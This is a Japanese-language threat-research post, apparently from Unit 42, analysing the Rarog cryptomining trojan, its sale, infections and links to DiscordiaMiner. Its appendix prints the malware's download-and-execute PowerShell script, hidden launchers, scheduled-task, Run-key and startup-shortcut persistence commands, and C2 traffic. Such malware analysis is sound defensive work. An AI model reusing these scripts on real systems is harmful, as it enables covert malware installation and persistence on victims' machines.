This post is also available in: English (英語)
概要
ここ数か月の間、Unit 42は、「Rarog」と呼ばれるあまり知られていない暗号通貨マイニング トロイの木馬を調査してきました。
Rarogは、2017年6月以降さまざまな地下フォーラムで販売され、それ以来、無数の犯罪者によって使用されてきました。今日まで、パロアルトネットワークスは、161の異なるコマンド&コントロール(C2)サーバーに接続している、約2,500の独自のサンプルを観察しました。
トロイの木馬自体は、スラブ神話に由来する火の悪魔、通常は、火の鷹として表現される「Raróg」の名にちなんでいるようです。
Rarogは、主に、Monero仮想通貨のマイニングに使用されるとみなされてきましたが、その他の仮想通貨をマイニングする機能も持っています。ユーザーへのマイニング統計の提供、実行中のマイニングのためのさまざまなプロセッサ負荷の設定、USBデバイスに感染するための機能、追加のDLLを被害端末にロードする機能を含め、多数の機能を備えています。
今までに、世界中で166,000件を超える感染が確認されています。これらの大半は、フィリピン、ロシア、およびインドネシアで発生しています。このマイニング トロイの木馬を使用したさまざまな犯罪者による多数の感染が記録されてきましたが、確認された収益は非常に少ないものでした。私たちが観察した中で最高の収益額は、約120US$です。
地下のRarog
Rarogトロイの木馬は、以下の図でわかるとおり、2017年6月にロシア語を話す犯罪者の地下サイトに初めて登場しました。
マルウェアは6,000ルーブルで販売されています。今日の為替レートでは、約104US$です。さらに、潜在する購入者がインターフェイスと対話して、「試運転」を実行できるように、ゲスト管理パネルが提供されています。このインターフェイスの見かけは以下のとおりです。
上記の管理パネルに示されている2つのTwitterハンドルに注意してください。最初のハンドル「arsenkooo135」は、図1に示されたものを含め、このマルウェアファミリに関するさまざまな投稿で使用されているものと同じハンドルです。私たちは、他のセキュリティ リサーチャーとオンラインで対話している2番目のハンドル「foxovsky」に気付きました。また、このハンドルを、さまざまな他のマルウェア ファミリをホストする同じハンドルを持つGitHubリポジトリに関連付けました。証拠は、これらの2人の個人がこの脅威の背後にいることを示唆しています。
さらに、GitHub上の「foxovsky」アカウントが自身のGitHubアカウント上でRarogマルウェア ファミリをホストしていることがわかりました。これは、その後、GitHubによって削除されています。
Rarogマルウェア ファミリ
非常に高いレベルで、Rarogマイニング トロイの木馬は、次のアクションを実行します。
マルウェアは、多数の機能を備えています。Runレジストリ キーの使用、スケジュール化されたタスク、スタートアップ フォルダ内のショートカット リンクを含め、複数のメカニズムを使用して被害端末での永続性を維持しています。要するに、Rarogは暗号通貨マイニング トロイの木馬であり、攻撃者にマイニング ソフトウェアをダウンロードする機能だけでなく、彼らが望む任意のパラメーターでそれを設定する機能も提供しています。また、被害端末の特徴に基づいて、マイニング ソフトウェアを容易に調整することもできます。
暗号通貨マイニングに加え、Rarogは多数のボットネット技法も使用しています。それによって、攻撃者は、その他のマルウェアをダウンロードおよび実行したり、他に対してDDoS攻撃を仕掛けたり、またはトロイの木馬を更新したりといった、多数のアクションを実行できます。マルウェアの実行全体を通じて、リモートC2サーバーへの多数のHTTPリクエストが作成されます。これらすべてのURIとその説明を、以下にまとめています。
URI | 説明 |
/2.0/method/checkConnection | リモート サーバーが予期したとおりに応答するように確保するため。 |
/2.0/method/config | マイニング プログラムに提供する引数を取得します。 |
/2.0/method/delay | マイニング プログラムを実行する前にスリープする時間を取得します。 |
/2.0/method/error | エラー メッセージに関する情報を取得し、被害端末に表示します。 |
/2.0/method/get | 被害端末のCPUアーキテクチャに基づいてマイニング ファイルの場所を取得します。 |
/2.0/method/info | マイニング プログラムのexe名を取得します。 |
/2.0/method/setOnline | C2サーバー上の被害端末に関する統計情報を更新します。 |
/2.0/method/update | Rarogトロイの木馬を更新するために使用されます。 |
/4.0/method/blacklist | 照合するためのプロセス名のリストを取得します。いずれかがフォアグラウンドで実行されている場合、Rarogはマイニング操作を一時停止します。 |
/4.0/method/check | リモートC2サーバーにクエリして、IDが存在するかどうかを判別します。 |
/4.0/method/cores | マイニング用に被害端末で使用するCPUのパーセンテージを取得します。 |
/4.0/method/installSuccess | C2サーバーにボットネットの動作をクエリします。 |
/4.0/method/modules | 被害端末上でロードするサードパーティ モジュールを取得します。 |
/4.0/method/threads | 被害端末上で実行するタスクを決定します(USB拡散、ヘルパー実行可能ファイルなど)。 |
Rarogマルウェア ファミリの動作方法の詳細については、付録を参照してください。
被害端末のテレメトリ
マルウェア ファミリと通信している計161のC2サーバーを特定しました。詳細なリストは、付録に記載されています。これらのC2サーバーの地理的な分布を見ると、ロシアとドイツにかなり集中して存在していることがわかります。
新しいRarogサンプルの配信率は過去9か月で変動しており、2017年の8月末から9月末の間に大きな急増がありました。そのピーク時には、2017年9月11日の週に、187の独自のRarogサンプルが検出されました。
これらのサンプルは、全世界で少なくとも166,000台の被害端末が存在することを示しています。世界のほとんどの地域で感染が発生しているものの、以下の図でわかるとおり、フィリピン、ロシア、インドネシアに感染は集中しています。
サードパーティのMinerGateマイニング サービスを使って購入したRarogには、テレメトリ機能があります。数多くのMinerGate APIキーが検出されてきましたが、それらを利用する攻撃者が得てきた収益はかなり低く、最も稼いでいる攻撃者でさえ、0.58 Monero (XMR)と54 ByteCoin (BCN)しか収益を上げていませんでした。現在の換算レートでは、これは$123.68に相当します。マルウェア自体にかかるコストが$104であることを考えるならば、いかに収益が少ないかがわかります。ほとんどの場合、赤字になることでしょう。
以前のマルウェア ファミリとのつながり
2017年10月後半に、Kasperskyは「DiscordiaMiner」というマルウェア ファミリについてのブログ記事を掲載しました。このブログ記事は、Rarogと共通するいくつもの特徴を備えた仮想通貨マイニングについて説明しています。この記事をさらに精査してみると、このプログラムの作成者が前述の「foxovsky」というユーザーであることがわかります。図4に示されているとおり、このユーザーのGitHubアカウントにはマイニング用のトロイの木馬のソース コードが掲載されています。この特定のマルウェアのソース コードが最後に更新されたのは2017年5月25日です。
DiscordiaMinerのソース コードには、Rarogと多くの類似点があります。それらの類似点はあまりにも多いため、RarogはDiscordiaの進化系であると結論付けられるかもしれません。Kasperskyのブログ記事は、この特定のマルウェア ファミリについての書き込みが、さまざまな地下フォーラムを賑わしていたことを説明しています。このトロイの木馬の作成者は、顧客の仮想通貨ウォレット アドレスを自分のアドレスに置き換えているのではないかという疑惑も持ち上がっていました。この疑惑を晴らすため、foxovskyはDiscordiaMinerプログラムをオープン ソースとしてGitHubで公開しました。Rarogが最初に宣伝されたのは2017年6月ですが、DiscordiaMinerが最後に更新されたのは2017年5月であることを考えると、興味深い事実が浮かび上がってきます。この情報、およびこれらのマルウェア ファミリの間に多くの共通するコードが存在することから、foxovskyはDiscordiaMinerをRarogと再ブランディングして、この新しい名前でマルウェア ファミリの開発を継続したものと見られます。foxovskyはこの再ブランディングによって、DiscordiaMinerに付随する負のイメージを払拭したようです。
結論
Rarogマルウェア ファミリの発見は、仮想通貨マイニングを悪用する攻撃の傾向が続いており、犯罪者の地下サイトでの需要も高まっていることを示しています。Rarogはそれほど巧妙ではないものの、、仮想通貨マイニングのボットネット運用を目指す多くの犯罪者に簡単な入口を提供します。ごくわずかの例外を除き、このマルウェアは、ここ9か月の間ほぼ知られていませんでした。数々の仮想通貨が高い水準で推移しているため、マイニング機能を持つマルウェア ファミリが今後も増えていくことが予想されます。
パロアルトネットワークのお客様は、この脅威から以下に示す方法で保護されています。
- このブログ記事で言及されているサンプルはすべて、WildFireとTrapsにおいて悪意のあるものとしてマークされています。
- RarogでC2サーバーとして使用されているドメインはすべて、悪意のあるものとしてフラグが立てられています。
- Rarogマルウェア ファミリの追跡は、AutoFocusのRarogタグを使用して実行できます。
付録
マルウェアの技術的分析
この分析には、次の特性を持つファイルが使用されました。
MD5 | 15361551cb2f705f80e95cea6a2a7c04 |
SHA1 | a388e464edeb8230adc955ed6a78540ed1433078 |
SHA256 | 73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a |
コンパイル時刻 | 2018-03-17 16:36:18 UTC |
PDB文字列 | D:\Work\_Rarog\Release\Rarog.pdb |
Rarogは最初に実行されたときに、次のファイルを探します。
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
システムにこのファイルがない場合は、次に示すように、Rarogはインストール ルーチンを開始します。
インストール ルーチン
インストール ルーチンは、まず次の隠れたディレクトリ パスを作成します。
C:\ProgramData\MicrosoftCorporation\Windows\System32\
次に、上記のディレクトリに「Isass.exe」というファイル名で自身のコピーを作成します。この新たにコピーされたファイルは新しいプロセスで実行されます。この処理が実行された後、マルウェアによって次のようなHTTP POST要求が実行されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /2.0/method/checkConnection HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.polotreck[.]xyz HTTP/1.1 200 OK Server: nginx/1.13.9 Date: Tue, 20 Mar 2018 16:34:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 12 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 c3VjY2Vzcw== |
上記の要求に対する応答は単純にbase64エンコード化されたもので、デコードされると「success (成功)」を示します。応答を確認する際にその内容が「success (成功)」ならば、マルウェアは処理を続行します。
マルウェアは次の要求を実行して、C2が偽のエラー メッセージ ボックスの作成を求めているかどうかを判別します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
POST /2.0/method/error HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.polotreck[.]xyz profile=1 HTTP/1.1 200 OK Server: nginx/1.13.9 Date: Tue, 20 Mar 2018 16:43:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 192 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 Vary: Accept-Encoding MTsxO1N5c3RlbSBFcnJvcjtUaGUgcHJvZ3JhbSBjYW4ndCBzdGFydCBiZWNhdXNlIE1TVkNQMTEwLmRsbCBpcyBtaXNzaW5nIGZyb20geW91ciBjb21wdXRlci4gVHJ5IHJlaW5zdGFsbGluZyB0aGUgcHJvZ3JhbSB0byBmaXggdGhpcyBwcm9ibGVtLg== |
上記のbase64応答は以下のようにデコードされます。
「1;1;System Error;The program can't start because MSVCP110.dll is missing from your computer. Try reinstalling the program to fix this problem. (1;1;システム エラー;コンピュータにMSVCP110.dllがないため、プログラムを開始できません。この問題を解決するために、プログラムを再インストールしてみてください。)」
応答は「;」で区切られています。最初のパラメータはハードコードされており、2番目のパラメータは表示するメッセージ ボックスのタイプを指定するために使用されます。以下のオプションがあります。
パラメータ | メッセージ ボックスのオプション |
0 | エラー メッセージが表示されません。 |
1 | 停止標識アイコンがメッセージ ボックスに表示されます。 |
2 | 疑問符アイコンがメッセージ ボックスに表示されます。 |
3 | 感嘆符アイコンがメッセージ ボックスに表示されます。 |
4 | 小文字のiを円で囲んだアイコンがメッセージ ボックスに表示されます。 |
3番目のパラメータはメッセージ ボックスのタイトルを指定し、最後のパラメータはメッセージを表します。前述の例のメッセージは、以下のように表示されます。
最後に、Rarogによって次のコマンドが実行されます。このコマンドは現在のマルウェア インスタンスを強制終了し、ディスクから削除します。
1 |
cmd.exe /c taskkill /im 73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a.exe /f & erase C:\Users\Administrato\Desktop\73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a.exe & exit |
インストール ルーチンの実行後
インストール ルーチンの実行が完了し、Isass.exeの新しいインスタンスが生成されたら、Rarogのこの新しいインスタンスによって、次のファイルの存在が確認されます。
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
このファイルが存在しない場合、Rarogは、必要な非表示のディレクトリ構造を作成し、一連のHTTP POST要求を発行します。最初の要求は、リモートC2サーバーが稼働中であることを確認するために、「/2.0/method/checkConnection」に発行されます。2番目の要求は以下に発行されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POST /4.0/method/installSuccess HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.polotreck[.]xyz buildID=5.1&hwid={1efdb526-2d21-11e8-a30c-8c8590105ceb}&profile=1&os=Microsoft Windows 7 Ultimate &platform=x86&processor=Intel(R) Core(TM) i7-7700HQ CPU @ 2.80 GHz&videocard=VMware SVGA 3D HTTP/1.1 200 OK Server: nginx/1.13.9 Date: Tue, 20 Mar 2018 16:43:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 192 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 250 |
C2サーバーの応答は、C2データベース内の、被害端末を識別する格納されたIDです。この番号は、「driver.dat」ファイルに格納されます。
次のレジストリ キーが作成され、Rarog がリブート後も持続するようにします。
1 |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows_Antimalware_Host_Syst - C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe |
次の非表示ディレクトリが作成され、以下の3つのファイルがこの場所に書き込まれます。
C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\WindowsAppCertification\cert.cmd
C:\ProgramData\WindowsAppCertification\checker.vbs
WindowHelperStorageHostSystemThread.ps1の内容は、以下のとおりです。
1 2 3 4 5 6 7 8 9 10 |
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\' $fpath = $path + 'Isass.exe' $furl = 'http://api.polotreck[.]xyz/2.0/method/update' $isfile = Test-Path $fpath if($isfile -eq 'True') {} else{ New-Item -ItemType directory -Path $path $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile($furl,$fpath) Start-Process -FilePath $fpath} |
cert.cmdの内容は、以下のとおりです。
1 2 |
@echo off powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 |
checker.vbsの内容は、以下のとおりです。
1 2 |
Set WshShell = CreateObject("WScript.Shell") WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0 |
次のコマンドが実行され、checker.vbsスクリプトを定期的に実行するためのスケジュール化されたタスクが作成されます。
1 |
schtasks.exe /Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F |
次のコマンドが実行され、Isass.exeを定期的に実行するためのスケジュール化されたタスクが作成されます。
1 |
schtasks.exe /Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F |
また、次のコマンドが実行され、被害端末のスタートアップ フォルダにショートカット リンクが生成されます。
1 |
cmd.exe /c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs |
これらのさまざまなレジストリ変更、ファイル変更、コマンドの実行によって、リブート前後だけでなく、マルウェアが消滅したり、強制的に終了したりした場合でもRarogがシステム上に存続できるように複数の手段が提供されます。
Rarogは次のPOST要求を発行して、リモートC2サーバーにIDが存在することを確認します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POST /4.0/method/check HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Tue, 20 Mar 2018 20:47:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 12 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 c3VjY2Vzcw== |
また、Rarog は、「success(成功)」の応答を探します。Rarogは、引き続き次のPOST要求を発行します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /4.0/method/threads HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.polotreck[.]xyz HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Tue, 20 Mar 2018 20:49:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 MjsxOzE7MTsyOw== |
C2サーバーのデコードされた応答は、「2;1;1;1;2;」です。このデータは、「;」で区切られており、値は、特定の Rarog機能が有効かどうかを示すために使用されます。「1」の値は、「On」を表し、他の値は「Off」を表します。
位置 | 名前 | 説明 |
0 | USBデバイス | マシンに搭載されているリムーバブル ドライブを検索します。「autorun.exe」という名前を付けて、リムーバブル ドライブにRarogをコピーします。また、同じディレクトリに「autorun.inf」ファイルを作成し、ロードされたときに「autorun.exe」が実行されるようにします。 |
1 | ヘルパー | 非表示の「C:\ProgramData\MicrosoftCorporation\Windows\Helpers\」ディレクトリを作成し、Isass.exeをこのディレクトリ内の「SecurityHeaIthService.exe」、「SystemldleProcess.exe」、「winIogon.exe」にコピーします。 |
2 | マイニング ステータス | POST要求を「/2.0/method/get」に発行し、マイニング実行ファイル用のURLを取得します。このファイルは「C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\」ディレクトリに格納されます。 |
3 | マイナー キラー | POST要求を「/4.0/method/modules」に発行します。これによって、「C:\ProgramData\MicrosoftCorporation\Windows\Modules\」フォルダにあるDLLのリストが提供されます。これらのDLLは、Rarogによってロードされます。問題のDLLには、「Instance」という名前のエクスポート関数があると思われます。 |
4 | タスク マネージャ | このマルウェアでは使用されていないと思われます。 |
「マイニング ステータス」オプションが有効になっており、マイナーがリモート サーバーから正常にダウンロードされている場合、Rarogは次の要求をC2サーバーに発行します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
POST /2.0/method/config HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Wed, 21 Mar 2018 16:55:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 Vary: Accept-Encoding LW8geG1yLnBvb2wubWluZXJnYXRlLmNvbTo0NTU2MCAtdSBtb3JlMnNldEBwcm90b25tYWlsLmNvbSAtcCB4IC1rIC10IHtUSFJFQURTfQ== |
応答は以下のようにデコードされます。
1 |
o xmr.pool.minergate[.]com:45560 -u more2set@protonmail[.]com -p x -k -t {THREADS} |
これらのパラメータは、実行時にマイニング プログラムに指定されます。マイナーの実行前に、Rarogは、システムで実行中のプロセスを確認し以下の文字列を探します。文字列が見つかると、そのプロセスは強制終了され、実行ファイルがシステムから削除されます。
- minergate
- stratum
- cryptonight
- monerohash
- nicehash
- dwarfpool
- suprnova
- nanopool
- xmrpool
これらの文字列は、さまざまな仮想通貨のマイニング時に、個人が使用するマイニング プールに関連した一般的な文字列を表しています。
Rarogは、次の要求を発行して、被害端末のCPUのどれくらいの割合をマイニングに使用するかを判別します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POST /4.0/method/cores HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Wed, 21 Mar 2018 17:03:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 NTA= |
応答は、「50」という値にデコードされます。Rarogは、引き続き「4.0/method/blacklist」に要求を発行して、ブラックリスト化するプロセスを決定します。問題のサーバーは設定済みのブラックリストがありませんが、戻される例を以下に示します。
1 |
dota2.exe;csgo.exe;WorldOfTanks.exe;TslGame.exe;gta5.exe;photoshop.exe;vegas_pro.exe;premier.exe;Prey.exe;Overwatch.exe;MK10.exe;Minecraft.exe;DiabloIII.exe;QuakeChampions.exe;Acrobat.exe;Acrord32.exe |
このリストは、ゲームなど、リソースを集中的に使用する一般的なアプリケーションを表しており、Rarogは継続的にこれらを監視します。このようなプログラムがフォアグラウンドで実行されている場合、Rarogはマイニング動作を一時停止します。
このマルウェアは次の要求を発行して、標的となっている被害端末のマシンでマイニングを再開するまでRarogをスリープ状態にする時間の長さを取得します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POST /2.0/method/delay HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Wed, 21 Mar 2018 17:11:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 10000 |
Rarogは、続行する前に、システムで実行中のプロセスに以下の一般的なセキュリティ アプリケーションがないか確認し、見つけた場合には続行しません。
- NetMonitor
- Taskmgr.exe
- Process Killer
- KillProcess
- System Explorer
- AnVir
- Process Hacker
Rarogは、前に収集したCPU使用率を使用して、その値をシステムで見つかったCPU数に照らして適用します。例えば、システムにCPUコアが4つあり、設定が50%であった場合、Rarogは、マイナーを2スレッド(0.5 x 4)使用するように設定します。次のマイニング コマンドがRarogによって実行されます。
1 |
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\xmrig32.exe -o xmr.pool.minergate[.]com:45560 -u more2set@protonmail[.]com -p x -k -t 1 |
ボットネット機能
Rarogは、HTTP POST要求を以下に対して定期的に発行します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /2.0/method/setOnline HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 16 Host: api.polotreck[.]xyz id=250&build=5.1 HTTP/1.1 200 OK Server: nginx/1.13.10 Date: Wed, 21 Mar 2018 17:28:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.30-0+deb8u1 |
この特定のURIは、Rarogに実行させる追加タスクを提供できます。サポートされるコマンドの次のリストが含まれています。
コマンド | 説明 |
install | 指定されたファイルをダウンロードし実行する |
open_url | 指定されたURLをブラウザで開く |
ddos | DDoS動作を指定された標的に対して実行する |
update | 指定されたURLからRarogトロイの木馬を更新する |
restart_bot | Rarogトロイの木馬を再始動する |
delete_bot | Rarogトロイの木馬を削除する |
SHA256ハッシュ
SHA256ハッシュの完全なリストおよび最初に見つかったタイムスタンプについては、次のファイルを参照してください。
C2サーバー
C2サーバーの完全なリストおよび最初に見つかったタイムスタンプについては、次のファイルを参照してください。
ファイルおよびフォルダの成果物
C:\ProgramData\MicrosoftCorporation\Windows\System32\
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
C:\ProgramData\WindowsAppCertification\
C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\WindowsAppCertification\cert.cmd
C:\ProgramData\WindowsAppCertification\checker.vbs
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
レジストリの成果物
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows_Antimalware_Host_Syst